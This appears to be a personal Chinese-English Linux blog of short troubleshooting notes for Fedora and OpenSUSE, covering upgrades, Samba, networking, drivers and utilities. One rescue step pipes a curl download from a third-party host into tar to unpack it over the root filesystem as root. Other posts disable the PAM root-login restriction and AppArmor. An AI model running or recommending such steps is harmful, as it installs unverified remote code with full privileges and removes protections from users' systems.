/etc/init.d/rsyslog reload
endscript
}

- Restart rsyslog:
# /etc/init.d/rsyslog restart

幫忙同事在Fedora解決的問題

沒什麼特別的，就此做個紀錄。
1. Roll back Fedora to tradition method to manager NICs:
Because of currently Fedora will use NetworkManager to manager your NICs, so it seems that NICs will not be initialized before you login to X, and here is the method to roll back to tradition method:

As root:
1. Disable NetworkManager:
# chkconfig NetworkManager off

2. Enable tradition network method:
# chkconfig network on

3. Navigated to /etc/sysconfig/network-scripts, and to generate ifcfg-ethX file as following:
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes

4. Reboot your machine.

2. Cancel unable to use root login to X since Fedora 9 or 10:

Since Fedora 9 or 10, system will avoid you to login to X via root account due to security concern.

However, you can disable this by some steps as following:

1. Navigated to /etc/pam.d

2. vi gdm
auth required pam_succeed_if.so user != root quiet
->
#auth required pam_succeed_if.so user != root quiet

3. vi gdm-password
auth required pam_succeed_if.so user != root quiet
->
#auth required pam_succeed_if.so user != root quiet

Then it works.

升級到OpenSUSE 11.4(32 bit)的第一問題

Well....這是一個非常嚴重的問題！當我嘗試透過zypper dup的方式將OpenSUSE11.3升級至OpenSUSE11.4時，我發現到32bit的系統出現了一個非常嚴重的BUG!

shared libraries: liblzma.so.0: cannot open shared object file: No such file or
directory

這個問題將導致zypper指令往後無法執行！解決的方法如下：

1. 準備升級前先將rpm升級至最新版本：

# zypper up rpm; zypper dup

2. 如果已發生zypper無法啟用了，也不用太過慌張，請依照以下的方法採取救援：

# cd /; curl lzma.zq1.de | tar zxv

References:

http://www.ralf-lang.de/2011/03/08/warning-updates-from-opensuse-11-3-to-11-4-may-fail-liblzma0/

http://web.archiveorange.com/archive/v/wmeLDVZnqS9mWsE9KQu6

http://forums.opensuse.org/english/get-technical-help-here/pre-release-beta/455279-after-zypper-dup-11-4-most-graphical-yast-modules-do-not-start-via-yast-post2301936.html

後記：

這應該算是release blocker吧.... OpenSUSE11.4的問題還真不少唷......

升級到OpenSUSE 11.4(64 bit)的第二問題

升級到OpenSUSE11.4(64 bit)後，我遇到了第二個問題，那便是一開機完成後，我發現CPU的loading是處於100%的狀況，用top查了一下是一隻叫tracker-store的daemon吃光了CPU resource，我記得在OpenSUSE11.3中從沒用過這個App，或許有但是我沒感覺？於是乎先把它kill掉看看會不會對系統有什麼影響？ 然後run了一段時間之後，我發覺到整個系統正常無誤。

索性將電腦重新開機，然後我發現到，它又再一次地吃光我的CPU resource，tracker-store應該是類似Apple spotlight這種indexing feature的App嗎？不過老實說在Linux的環境下，我覺得我是不需要它的，所以就將它移除了，移除過後CPU loading高漲的問題也解決了。

zypper remove tracker

What's tracker-store:

http://manpages.ubuntu.com/manpages/maverick/man1/tracker-store.1.html

http://blogs.gnome.org/mr/2009/09/18/tracker-update-2/

運用gsynaptics 啟動notebook觸碰版功能

電視被我女兒佔住在看幼幼晚點名DVD，於是心血來潮便開啟我的S10e想來找找看有沒有for Linux laptop/netbook多點觸碰的軟體，沒想到還真的有！

Gsynaptics是一套在GNOME下支援multi finger touch的軟體，雖然無法達到A公司那種強大的功能，不過總比沒有好。

Steps in OpenSUSE 11.3:

1. Install:

# zypper in gsynaptics

2. 檢查/etc/X11/xorg.conf在InputDevice的section中應該會有"SHMConfig" "on"

75 Section "InputDevice"

76 Driver "synaptics"

77 Identifier "Mouse[1]"

78 Option "Buttons" "5"

79 Option "Device" "/dev/input/mice"

80 Option "Emulate3Buttons" "on"

81 Option "HorizScrollDelta" "0"

82 Option "InputFashion" "Mouse"

83 Option "Name" "Synaptics;Touchpad"

84 Option "Protocol" "explorerps/2"

85 Option "SHMConfig" "on"

86 Option "Vendor" "Sysp"

87 Option "ZAxisMapping" "4 5"

88 EndSection

3. 不用重新開機至"電腦"->"控制中心"->"硬體" 點選Touchpad or Mouse就可以設定了。

沒什麼難度還蠻好安裝跟配置的。

升級到OpenSUSE 11.4(64 bit)的第一問題

今天把桌機從OpenSUSE 11.3升級到11.4後，發現到之前用得好好的Samba Server竟然無法啟動，檢查/var/log/samba/log.smbd後竟然看到以下的message:

params.c:OpenConfFile() - Unable to open configuration file "/etc/samba/dhcp.conf":

Permission denied

Well..... dhcp.conf怎麼會跑到/etc/samba下？先把它更名一下:

# mv /etc/samba/dhcp.conf /etc/samba/dhcp.conf.bak

再次啟動後竟然還是無法運作？再查看一次log:

linux-8zbb:/etc/samba # tail -f /var/log/samba/log.smbd

Unable to setup corepath for smbd: Permission denied

[2011/03/12 22:19:33, 0] smbd/server.c:1134(main)

smbd version 3.5.7-1.17.1-2505-SUSE-SL11.4-x86_64 started.

Copyright Andrew Tridgell and the Samba Team 1992-2010

[2011/03/12 22:19:33.539756, 0] passdb/secrets.c:73(secrets_init)

Failed to open /etc/samba/secrets.tdb

[2011/03/12 22:19:33.540823, 0] passdb/secrets.c:73(secrets_init)

Failed to open /etc/samba/secrets.tdb

[2011/03/12 22:19:33.541149, 0] smbd/server.c:1234(main)

ERROR: smbd can not open secrets.tdb

這個嘛.....會不會是Novell AppArmor的關係？查看AppArmor的狀況後，我發現到它竟然在系統升級過後被啟動了？老實說AppArmor我並不是很熟，只好先把它關掉囉，之後Samba Server果然可以順利運作了。

Linux上好用的IP計算工具-sipcalc

sipcalc這個工具真是計算IP位置的好工具！尤其是在Linux console mode就可以使用囉！

當然啦！在OpenSUSE 11.3上只要透過zypper就可以安裝成功了。

Steps:

1. linux-8zbb:~ # zypper in sipcalc

Retrieving repository 'OpenSUSE 11.3 update' metadata [done]

Building repository 'OpenSUSE 11.3 update' cache [done]

Loading repository data...

Reading installed packages...

Resolving package dependencies...

The following NEW package is going to be installed:

sipcalc

1 new package to install.

Overall download size: 29.0 KiB. After the operation, additional 58.0 KiB will be used.

Continue? [y/n/?] (y): y

Retrieving package sipcalc-1.1.5-0.pm.2.1.x86_64 (1/1), 29.0 KiB (58.0 KiB unpacked)

Retrieving: sipcalc-1.1.5-0.pm.2.1.x86_64.rpm [done (15.7 KiB/s)]

Installing: sipcalc-1.1.5-0.pm.2.1 [done]

Additional rpm output:

warning: /var/cache/zypp/packages/Packman_opensuse_11.3/x86_64/sipcalc-1.1.5-0.pm.2.1.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID 9a795806: NOKEY

2. linux-8zbb:~ # sipcalc 10.10.10.1/23 <- 指定某個IP subnet

-[ipv4 : 10.10.10.1/23] - 0

[CIDR]

Host address - 10.10.10.1

Host address (decimal) - 168430081

Host address (hex) - A0A0A01

Network address - 10.10.10.0

Network mask - 255.255.254.0

Network mask (bits) - 23

Network mask (hex) - FFFFFE00

Broadcast address - 10.10.11.255

Cisco wildcard - 0.0.1.255

Addresses in network - 512

Network range - 10.10.10.0 - 10.10.11.255

Usable range - 10.10.10.1 - 10.10.11.254

linux-8zbb:~ # sipcalc eth0 <- 針對目前的interface

-[int-ipv4 : eth0] - 0

[CIDR]

Host address - 10.10.10.253

Host address (decimal) - 168430333

Host address (hex) - A0A0AFD

Network address - 10.10.10.0

Network mask - 255.255.255.0

Network mask (bits) - 24

Network mask (hex) - FFFFFF00

Broadcast address - 10.10.10.255

Cisco wildcard - 0.0.0.255

Addresses in network - 256

Network range - 10.10.10.0 - 10.10.10.255

Usable range - 10.10.10.1 - 10.10.10.254

沒錯它就是這麼簡單好用，更多的功能請自行研究吧。

Linksys WUSB600N ver.2 driver for Linux and How to install it

Linksys WUSB600N ver.2 used Ralink RT3572 chipset, so please go to the Ralink website to download it first.

Steps:

1. Uncompress 2010_1215_RT3572_Linux_STA_v2.5.0.0.DPO.bz2

2. Plug in WUSB600N to your Linux box.

3. To execute "demsg" command to examine the vendor id and product id of WUSB600N. (it should be 1737/0079)

4. Added {USB_DEVICE(0×1737,0×0079)}, /* Linksys WUSB600N v2 */ to the /common/rtusb_dev_id.c file

5. Modified /os/linux/config.mk file to give you WPA encryption:

# Support Wpa_Supplicant

HAS_WPA_SUPPLICANT=y

# Support Native WpaSupplicant for Network Maganger

HAS_NATIVE_WPA_SUPPLICANT_SUPPORT=y

6. # make && make install && reboot

7. After system reboot successfully then plug in the WUSB600N to the Linux box again, and to execute "ifconfig -a" command then you will see the new device ra0

What's pdsh and how it works?

What's pdsh?

Pdsh is a an efficient, multithreaded remote shell client which executes commands on multiple remote hosts in parallel. Pdsh implements dynamically loadable modules for extended functionality such as new remote shell services and remote host selection.

I.e., If you'd like to control multiple machines at once then you can use pdsh to reach it.
For example:
Server1: 10.10.2.2
node1: 10.10.2.181
node2: 10.10.2.159
And I'd like to control node1 and node2 on Server1 at once.

Steps:

1. Install pdsh on the Server.
2. Import ssh key of Server1 to the node1 and node2.
3. Add hostname-to-IPaddress of node1/node2 in /etc/hosts on Server1.
4. To execute: pdsh -w ssh:root@node[1,2] ls 2> /dev/null then node1 and node2 will to execute ls command and report to the Server1 as following:
lawrence@suse:~/.ssh> pdsh -w ssh:root@node[1,2] ls 2> /dev/null
node1: anaconda-ks.cfg
node1: Desktop
node1: id_rsa.pub
node1: install.log
node1: install.log.syslog
node2: anaconda-ks.cfg
node2: bin
node2: conf-examples
node2: cpulimit-1.1.tar.gz
node2: cpulimit.tar.gz
node2: Desktop
node2: id_rsa.pub
node2: install.log
node2: install.log.syslog
node2: mibs
node2: mibs_20100925.rar

5. Combine multiple commands:
lawrence@suse:~/.ssh> pdsh -w ssh:root@node[1,2] "cd /tmp;ls" 2> /dev/null
node1: pulse-Bk60xcI9xlDq
node1: virtual-root.pHV8bR
node2: etherXXXXWj7KYw
node2: gconfd-root
node2: keyring-RdVKdK
node2: mapping-root
node2: scim-panel-socket:0-root

從ext3升級到ext4

ext4於Kernel 2.6.28後被視為穩定版本了，所以就打算讓我的系統升級到ext4，從ext3到ext4的升級非常簡單，說起來只有兩個命令並且目前存在的資料也不會遺失，可以說是非常的方便，以下就紀錄我如何升級的吧！

Steps:

1. 準備某一Linux版本的live CD，Fedora 14是個不錯的選擇！

2. 用Live CD開完機後，確定預升級的檔案系統處於無掛載的狀態。

3. 利用tune2fs加上ext4的attribute：

# tune2fs -O extents,uninit_bg,dir_index [device file]

4.檢查檔案系統：

# fsck -pf [device file]

5. 掛載:

# mount -t ext4 [device file] [mount point]

6. 修改/etc/fstab後，重新開機。

升級Ext4將帶來什麼好處？

1. 相容Ext3

2. 單一檔案大小可到16TB，檔案系統可支援到1EB

3. 新的存放方式，增加檔案讀寫速度

Disable HT on OpenSUSE 11.3

基本上能在BIOS裡關掉HT的話，我是建議這麼做會比較好，但是如果你的laptop BIOS沒有讓你取消HT的功能(for example: S10e)，那你只能在grub裡動手腳了。

步驟:

1. 開啟/boot/grub/menu.lst

2. 新增kernel參數如下:

2.1 noht -> 不work....

2.2 maxcpus=1 -> work!

Note:

如果你想要暫時關閉某一個logical CPU的話，那麼你可以這麼做:

echo "0" > /sys/devices/system/node/node0/cpu1/online

當然囉，下次開機時它還是會啟動的。

後記:

說起來我何必去關閉HT呢？因為我發現到hrtimer_start_range_ns總是佔用我總耗電量50%以上，爬了爬文有人建議我先關閉HT，目前看起來是會低於50%了。

用Powertop 檢查Linux apps誰最吃電!

今天用Powertop檢查平常會一直開機的Linux測試機中哪個daemon最吃電，結果我發現到似乎是Google Chrome最吃電 XD，是我開了一堆分頁的關係嗎?

讓CPU全速執行吧！

因為省電的觀念，所以在預設上Linux會以ondemand or userspace所定義的方法對CPU做速度上的調整，但是以桌機來說，我實在沒有必要這麼做，我當然是希望CPU無時無刻全速運作以應付我大量的apps，透過以下的指令便可以讓CPU全速運作！

全速:
echo "performance" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

低速省電:
echo "powersave" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

userspace:
echo "userspace" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
(需配合cpuspeed daemon)

ondemand:
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

Novell宣佈以22億美元賣給Attachmate

沒想到真的賣掉了，不知道以後SUSE Linux將何去何從？看來王子復仇記失敗了 XD

BTW，Novell成立於1979年剛好也正是我生的那一年。

ITnews

Wake on LAN software for Mac OSX

Wake on LAN這個功能，相信各位IT人應該都有使用過，帽客今天發現到一款在Mac OSX上蠻好用的小軟體: Depicus Wake on LAN，它的GUI長得如下：

只要填入你機器的Mac Address/IP address/Subnet Mask，並按下Wake Me Up button，就可以將遠方機器power on起來了，so easy~

How wake on LAN works? please refer to here.

RHEL6發行了！

等了許久，Redhat總算是釋出了RHEL6! 這一版應該是base on Fedora13，不過帽客慚愧了，因為Fedora13/14沒有好好去玩過，然後RHEL6 Beta1/Beta2只有裝起來過，現在既然RHEL6正式版出了，是時候需要好好學習了。

More details for RHEL6 please refer to here.

Prolific Technology USB to RS232 console works on MAC OSX

我想Mac的機器，對於大多數的Engineer來說最讓人頭痛的就是沒有RS232 console port，這個東西對於Engineer來說是多麼重要的東西，我想我也不需要多說了，但是這個已經不再是Mac的瓶頸了！利用以下方法就可以讓你在Mac下使用USB to RS232 console。

1. 買個Prolific PL2303的USB to RS232 console: 似乎很多家都是用他的chipset，至少我手邊的兩家不同廠商都是。

2. 到這裡下載driver，請注意它有區分10.6.x與104.x/10.5.x！裝錯版本可是驅動不了的！
3. 裝好driver後將Mac開機後，插入USB to RS232 consoel。

4. 至/dev目錄去檢查是否有多出一個usb device file，for example: /dev/tty.usbxxx。

5. 開啟Mac終端機。

6. 輸入 screen /dev/tty.usbxxx 9600，9600就是你的baud rate，至於怎麼用screen command請參考我以前的筆記。

以上就可以在Mac裡使用console了，但是如果你還是習慣使用圖形介面的console管理介面，我到是推薦一套for Mac的免費serial tools，yes～它就叫做serial tools。

SparkleShare

上一篇介紹過Dropbox，今天又發現到一套可以讓使用者自己架設線上備份與同步檔案的opensource project: SparkleShare，目前雖然還在Beta階段，不過我想應該很快就會有official了！

若公司內部，有這麼一台遠端檔案集中Server，其功能又與Dropbox類似的話，那就非常方便了！

Install Dropbox in OpenSUSE 11.3

今天無意間找到了一個非常實用的工具Dropbox，什麼是Dropbox？簡單的來說它是一個線上備份與檔案同步的一個好工具，使用過後我覺得它有以下幾個優點：

1. 簡單且實用

2. 跨平台(Windows/Mac/Linux/Mobile)

3. 2GB免費空間

如何於OpenSUSE 11.3上安裝：

1. zypper in docutils

2. tar jxvf nautilus-dropbox-0.6.3.tar.bz2 -C /usr/local/src/

3. cd /usr/local/src/nau*

4. ./configure && make && make install

安裝完畢後，就可以在最新安裝的應用程式裡找到它，當執行時會有wizard一步一步告訴你怎麼設定。我測試時是先把檔案透過Windows把檔案上傳到DropBox，然後切換到OpenSUSE看看，結果的確有檔案存在，不知道是不是使用的人還不多？上下傳檔案時還挺快的！

Remove useless repositories by awk in OpenSUSE

帽客的桌機一路從OpenSUSE 11.1升級到OpenSUSE 11.3後，repositories都沒去清掉，導致一堆沒有在用的repos殘留在那邊，練習一下用awk把沒用的repos一次清光：

linux-8zbb:~ # zypper rr `zypper lr | awk '/No/{ print $3 }'`

Repository 'openSUSE' not found by alias, number or URI.

Removing repository 'Packman repository (openSUSE_11.1)' [done]

Repository 'Packman repository (openSUSE_11.1)' has been removed.

Removing repository 'openSUSE 11.2-0' [done]

Repository 'openSUSE 11.2-0' has been removed.

Removing repository 'opensuse11.2_oss' [done]

Repository 'opensuse11.2_oss' has been removed.

Removing repository 'opensuse11.2_update' [done]

Repository 'opensuse11.2_update' has been removed.

Removing repository 'opensuse_11.2_non-oss' [done]

Repository 'opensuse_11.2_non-oss' has been removed.

Removing repository 'opensuse 11.3 iso' [done]

Repository 'opensuse 11.3 iso' has been removed.

Removing repository 'packman' [done]

Repository 'packman' has been removed.

Removing repository 'openSUSE-11.1-Debug' [done]

Repository 'openSUSE-11.1-Debug' has been removed.

Removing repository 'openSUSE-11.1-Non-Oss' [done]

Repository 'openSUSE-11.1-Non-Oss' has been removed.

Removing repository 'openSUSE-11.1-Oss' [done]

Repository 'openSUSE-11.1-Oss' has been removed.

Removing repository 'openSUSE-11.1-Source' [done]

Repository 'openSUSE-11.1-Source' has been removed.

Removing repository 'openSUSE-11.1-Update' [done]

Repository 'openSUSE-11.1-Update' has been removed.

只能說awk好用又有效率～

Configure ATI driver on OpenSUSE 11.3

SL410升級到OpenSUSE 11.3後竟然無法順利啟動X Server，做了一些事情後，讓X Server起來了可是得到的結果是....

1. 解析度只有1024*768

2. 沒有3D特效

3. 有開啟3D特效的user account，登入GNOME後，畫面一片空白

好吧，想說新增ATI driver for OpenSUSE 11.3的repository，沒想到更新後更慘，X Server又起不來了？只好先把它移除，然後上google找看看有沒有解法，果然有人提出了完美的更新方法，請注意作者有先說明：

ATI doesn’t provide anymore repository for their binary drivers, so we have to build them on each needed system. When the 11.3 hits the street, the procedure was complex and not so easy, now with their 10.7 ( 8.753 ) version, it’s doable.

照著這位前輩的作法，果然是重新搞定了我的桌面環境，實在是非常地感謝他呀，說起來ATI真是.......